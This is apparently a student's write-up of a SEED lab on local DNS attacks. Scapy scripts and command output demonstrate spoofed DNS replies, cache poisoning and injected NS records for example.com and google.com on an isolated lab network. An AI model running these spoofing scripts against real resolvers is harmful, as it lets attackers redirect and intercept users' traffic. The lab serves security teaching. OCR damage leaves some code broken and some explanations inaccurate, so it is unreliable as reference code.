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Local DNS Attack Lab

Task 1: Lab Environment Setup Task

The resolv.conf file has been modified successfully and the local DNS server (10.9.0.53) is now registered in the Client machine.

```
user-10.9.0.5:/$cat /etc/resolv.conf
nameserver 10.9.0.53
user-10.9.0.5:/$
```

Our Local DNS has been configured with zone files updated and a db file created.

```
local-dns-server-10.9.0.53:/etc/bind$cat named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
zone "attacker32.com" {
    type forward;
    forwarders {
        10.9.0.153;
    };
};
```

Two zones are hosted on the attacker's machine. One is the attacker's **legitimate** zone and the other is the fake example.com zone

```
attacker-ns-10.9.0.153:/etc/bind$cat named.conf
^{\prime\prime} This is the primary configuration file for the <code>BIND DNS</code> server named.
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
zone "attacker32.com" {
        type master;
        file "/etc/bind/zone attacker32.com";
};
zone "example.com" {
        type master;
        file "/etc/bind/zone_example.com";
```

Testing the DNS Setup:

We use the dig command to get the Ip address for the ns.attacker32.com on the user machine. Due to the forward zone entry added to the local DNS server's configuration file, the reply should come from that zone.

```
user-10.9.0.5:/$dig ns.attacker32.com
; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44596
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a05304c26e6622f001000000642f85db61d02208b79802a8 (good)
;; QUESTION SECTION:
;ns.attacker32.com.
                                IN
;; ANSWER SECTION:
ns.attacker32.com.
                                                10.9.0.153
                        259200 IN
                                        Α
;; Query time: 20 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Apr 07 02:54:19 UTC 2023
;; MSG SIZE rcvd: 90
```

Get the IP address of www.example.com

```
user-10.9.0.5:/$dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48560
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; C00KIE: 71a94daf97e26fdb01000000642f861ac766a7483e9a6d22 (good)
;; QUESTION SECTION:
                                IN
;www.example.com.
                                        Α
;; ANSWER SECTION:
                                   A 93.184.216.34
www.example.com.
                       86400
                               IN
;; Query time: 944 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Apr 07 02:55:22 UTC 2023
;; MSG SIZE rcvd: 88
```

There are two entries in the answer section, one is the official name server and the other is the attacker's name server.

```
user-10.9.0.5:/$dig @ns.attacker32.com www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59269
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 55ad3933648d7b8101000000642f87ce13aea10153958e82 (good)
;; QUESTION SECTION:
;www.example.com.
                                IN
                                        Α
;; ANSWER SECTION:
www.example.com.
                        259200 IN
                                       Α
                                                1.2.3.5
;; Query time: 12 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Fri Apr 07 03:02:38 UTC 2023
;; MSG SIZE rcvd: 88
```

Task 1: Directly Spoofing Response to User

```
user-10.9.0.5:/$ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
        ether 02:42:0a:09:00:05 txqueuelen 0 (Ethernet)
        RX packets 85 bytes 8527 (8.5 KB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 12 bytes 709 (709.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,L00PBACK,RUNNING> mtu <u>65536</u>
        inet 127.0.0.1 netmask 255.0.0.0
        loop txqueuelen 1000 (Local Loopback)
        RX packets 3 bytes 87 (87.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 3 bytes 87 (87.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
seed-attacker:/$ifconfig
br-0075777ac008: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255
       inet6 fe80::42:ffff:fe97:2f6 prefixlen 64 scopeid 0x20<link>
       ether 02:42:ff:97:02:f6 txqueuelen 0 (Ethernet)
       RX packets 20 bytes 940 (940.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 62 bytes 8650 (8.6 KB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

The below code will spoof the responses to the user

Now, before launching the attack we flush the cache at the local DNS server and then run the task1.py program on the attacker side. Then we check if the attack has successful or not:

```
local-dns-server-10.9.0.53:/etc/bind$rndc flush
```

Run the dig command, so that the user machine sends out a DNS query to the local DNS server, which will eventually send out a DNS query to the authoritative nameserver of the example.com domain.

```
user-10.9.0.5:/$dig www.example.com
;; Warning: Message parser reports malformed message packet.
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40002
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0
;; QUESTION SECTION:
                                IN
;www.example.com.
                                        Α
;; ANSWER SECTION:
                        259200
                                ΙN
                                        Α
                                                1.1.1.1
www.example.com.
;; Query time: 156 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Apr 07 04:14:15 UTC 2023
  MSG SIZE rcvd: 64
```

As we can see above the attack was successful and the IP address has been changed to the fake one 1.1.1.1 in the reply.

```
seed-attacker:/volumes$python3 task1.py
###[ Ethernet ]###
         = 02:42:0a:09:00:35
 dst
         = 02:42:0a:09:00:05
 src
 type = IPv4
###[ IP ]###
    version = 4
           = 5
    ihl
    tos
            = 0 \times 0
    len
          = 84
    id
             = 17951
    flags
             =
    frag
            = 0
    ttl
             = 64
            = udp
    proto
    chksum = 0x202f
            = 10.9.0.5
    src
    dst
             = 10.9.0.53
    \options
###[ UDP ]###
       sport
              = 58812
       dport = domain
       len
               = 64
```

```
qclass
                     = None
           an
                     = None
           ns
           \ar
             ###[ DNS OPT Resource Record ]###
               rrname
                         = 0PT
               type
                         = 4096
               rclass
               extrcode
                         = 0
               version
                         = 0
               Z
                         = None
               rdlen
               \rdata
                 |###[ DNS EDNS0 TLV ]###
                   optcode
                              = 10
                   optlen
                              = 8
                   optdata
                              = '\xa8\xad1-i\x9a\x851'
Sent 1 packets.
```

Here we see that our code sniffs the DNS request from the user and spoofs the reply. In this case the IP of www.example.com is set to the IP of the attacker

Task 2: Task 2: DNS Cache Poisoning Attack – Spoofing Answers

Before task2, we have to add some delay to the network traffic using the following command:

\$ tc qdisc add dev eth0 root netem delay 100ms

seed-router:/\$<u>t</u>c qdisc add dev eth0 root netem delay 100ms

Now, we will conduct the attack by targeting the DNS server instead of the user machine by executing task2.py. In our code, we use the DNS server's IP address as the src host IP

Again, before running the attack we flush the Local DNS server cache and run the attack on user machine.

```
local-dns-server-10.9.0.53:/etc/bind$rndc flush
local-dns-server-10.9.0.53:/etc/bind$rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep example
www.example.com.
                      777543 NS
                                     a.iana-servers.net.
      mple.com.
                      863944 A
                                     1.1.1.1
user-10.9.0.5:/$dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48196
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 471e44d521ee782b01000000642fa85cc904c36f452e41ac (good)
;; QUESTION SECTION:
                                 ΙN
;www.example.com.
;; ANSWER SECTION:
                         259200 IN
                                                  1.1.1.1
www.example.com.
;; Query time: 3004 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Apr 07 05:21:32 UTC 2023
;; MSG SIZE rcvd: 88
```

We can see that our attack has been successful as we have spoofed our information in the reply. We can check this at the local DNS cache as well above.

```
qclass
                           = IN
                      = None
            an
                      = None
            ns
            \ar
             |###[ DNS OPT Resource Record ]###
                rrname
                           = OPT
                type
                           = 512
                rclass
                extrcode
                           = 0
                version
                           = 0
                           = D0
                Z
                rdlen
                           = None
                \rdata
                 |###[ DNS EDNS0 TLV ]###
                               = 10
                    optcode
                               = 8
                    optlen
                    optdata
                               = vz\xb5+\xf1{T\xa8'}
Sent 1 packets.
```

From the above attack, the cache is successfully spoofed.

Task 3: Spoofing NS Records

Clear the local DNS cache before the attack

local-dns-server-10.9.0.53:/etc/bind\$rndc flush

In this task3.py, we use the authority section for DNS replies.

```
GNU nano 4.8
                                                                                      task3.py
from scapy.all import *
def spoof_dns(pkt):
   if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
   pkt.show()
   IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
   UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
   Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
               ttl=259200, rdata='1.1.1.1')
   NSsec1 = DNSRR(rrname='example.com', type='NS',
ttl=259200, rdata='ns.attacker32.com')
   DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0,
               an=Anssec, ns=NSsec1)
   spoofpkt = IPpkt/UDPpkt/DNSpkt
   send(spoofpkt)
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-0075777ac008', filter=f, prn=spoof_dns)
                                          = 'www.example.com.'
                          gname
                          qtype
                                          = A
                          qclass
                                          = IN
                   an
                                   = None
                                   = None
                   ns
                   \ar
                     |###[ DNS OPT Resource Record ]###
                          rrname
                                          = OPT
                          type
                                          = 512
                          rclass
                         extrcode
                                          = 0
                         version
                                          = 0
                                          = D0
                          Z
                          rdlen
                                          = None
                         \rdata
                                           1
                            |###[ DNS EDNS0 TLV ]###
                                optcode = 10
                                optlen
                                                 = 8
                                optdata = '\xd8E0\xfb\x10\xb5U\xcd'
Sent 1 packets.
```

```
user-10.9.0.5:/$dig www.example.com
 <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14650
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
 EDNS: version: 0, flags:; udp: 4096
 COOKIE: 3267bf3828e11a1f01000000642fad68fb64149d22de4d59 (good)
;; QUESTION SECTION:
;www.example.com.
                                IN
                                        Α
;; ANSWER SECTION:
www.example.com.
                        259200 IN
                                        Α
                                                1.1.1.1
;; Query time: 2103 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Apr 07 05:43:04 UTC 2023
;; MSG SIZE rcvd: 88
```

We can see that the packet is successfully spoofed in the reply with ip address 1.1.1.1 which is the attacker's ip address.

```
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep example example.com. 777543 NS a.iana-servers.net.
www.example.com. 863944 A 1.1.1.1
```

When we try the dig command for other websites we can see that the packet is spoofed.

```
user-10.9.0.5:/$dig ftp.example.com
; <>>> DiG 9.16.1-Ubuntu <>>> ftp.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58754
;; flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
: COOKIE: 419d06e7380da8dc01000000642fad95c8140d043b9b6706 (good)
;; QUESTION SECTION:
;ftp.example.com.
                                IN
                                        Α
;; ANSWER SECTION:
ftp.example.com.
                        259200
                                IN
                                        Α
                                                1.2.3.6
;; Query time: 64 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Apr 07 05:43:49 UTC 2023
;; MSG SIZE rcvd: 88
```

When we see below that it has been successfully spoofed with 1.2.3.6

```
attacker-ns-10.9.0.153:/etc/bind$cat zone example.com
$TTL 3D
         IN
                         ns.example.com. admin.example.com. (
@
                   SOA
                   2008111001
                   8H
                   2H
                   4W
                   1D)
         IN
                  NS
                         ns.attacker32.com.
@
                          1.2.3.4
         IN
                   Α
                         1.2.3.5
         IN
                   Α
WWW
         IN
                         10.9.0.153
                   Α
ns
         IN
                          1.2.3.6
local-dns-server-10.9.0.53:/etc/bind$rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep example
     e.com.
                     777434 NS
                                    ns.attacker32.com.
         .com.
                     863880
                            Α
                                    1.2.3.6
tp.
                     863835 A
                                    1.1.1.1
         .com.
```

The spoofed NS record is the cache. The attack was successful. And also, we can see that ftp.example.com has a ip address of 1.2.3.6

Task 4: Spoofing NS Records for Another Domain

In the previous attack, we successfully poisoned the cache of the local DNS server, so ns.attacker32.com becomes the nameserver for the example.com domain. The same can be extended for other domains.

```
GNU nano 4.8
                                                                                                task4.py
from scapy.all import *
def spoof dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
   NSsec1 = DNSRR(rrname='example.com', type='NS',
ttl=259200, rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='google.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')
   spoofpkt = IPpkt/UDPpkt/DNSpkt
    spoofpkt.show()
    send(spoofpkt)
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-0075777ac008', filter=f, prn=spoof_dns)
```

We initially flush the local DNS server and then run the attack

Execute the task4.py file mentioned above. We mention two additional entries in the authority section such as example.com and google.com

```
\qd
         |###[ DNS Question Record ]###
            qname = 'www.example.com.'
qtype = A
qclass = TN
           qclass
                     = IN
        \an
         |###[ DNS Resource Record ]###
            rrname = 'www.example.com.'
type = A
rclass = IN
            ttl
                     = 259200
            rdlen
                      = None
            rdata
                      = 1.1.1.1
        \ns
          |###[ DNS Resource Record ]###
            rrname = 'example.com'
                      = NS
            type
            rclass = IN
ttl = 259
                     = 259200
            rdlen
                      = None
                    = 'ns.attacker32.com'
            rdata
          ###[ DNS Resource Record ]###
            rrname = 'google.com'
                      = NS
            type
            rclass
                     = IN
                      = 259200
            ttl
            rdlen = None
rdata = 'ns.attacker32.com'
            rdata
                  = None
        ar
Sent 1 packets.
```

```
user-10.9.0.5:/$dig www.example.com
; <>>> DiG 9.16.1-Ubuntu <>>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56091
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; C00KIE: 3c988eadfa1c185801000000643038731697f0531aebc4c3 (good)
;; QUESTION SECTION:
;www.example.com.
                                IN
;; ANSWER SECTION:
www.example.com.
                        259200
                                IN
                                        Α
                                                1.1.1.1
;; Query time: 1705 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Apr 07 15:36:19 UTC 2023
;; MSG SIZE rcvd: 88
```

The attack is successful as we have spoofed the reply

```
local-dns-server-10.9.0.53:/etc/bind$rndc flush
local-dns-server-10.9.0.53:/etc/bind$rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep example
                       777587 NS
                                       ns.attacker32.com.
      .com.
                       863987 A
                                       1.1.1.1
          .com.
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep attacker
example.com.
                       777587 NS
                                       ns.at
                                                  32.com.
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep example
                       777587 NS
                                       ns.attacker32.com.
                                     1.1.1.1
                       863987 A
www.example.com.
```

However, we see that in the cache only example.com is cached but google.com is not cached.

Task5: Spoofing Records in the Additional Section:

For this code we modify the code below as task5.py

Flush the local DNS server and then run the attack.

```
arcount
                  = 0
        \ad
         |###[ DNS Question Record ]###
            qname
                     = 'www.example.com.'
                      = A
            qtype
            qclass
                      = IN
        \an
         |###[ DNS Resource Record ]###
                      = 'www.example.com.'
            rrname
            type
                      = A
                      = IN
            rclass
            ttl
                      = 259200
            rdlen
                      = None
            rdata
                      = 1.1.1.1
        \ns
         |###[ DNS Resource Record ]###
                      = 'example.com'
            rrname
            type
                      = NS
            rclass
                      = IN
                      = 259200
            ttl
            rdlen
                     = None
            rdata
                     = 'ns.attacker32.com'
          ###[ DNS Resource Record ]###
            rrname
                      = 'example.com'
                      = NS
            type
                      = IN
            rclass
            ttl
                      = 259200
                      = None
            rdlen
                      = 'ns.example.com'
            rdata
                  = None
        ar
Sent 1 packets.
```

The attack is successful, and the reply is spoofed.

```
local-dns-server-10.9.0.53:/etc/bind$rndc flush
local-dns-server-10.9.0.53:/etc/bind$rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep attack
777578 NS ns.attacker32.com.
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep example
example.com. 777578 NS ns.example.com.
www.example.com. 863978 A 1.1.1.1
local-dns-server-10.9.0.53:/etc/bind$cat /var/cache/bind/dump.db | grep facebook
```

We see that the additional section data is not cached into the server while the authority section data has been successfully cached.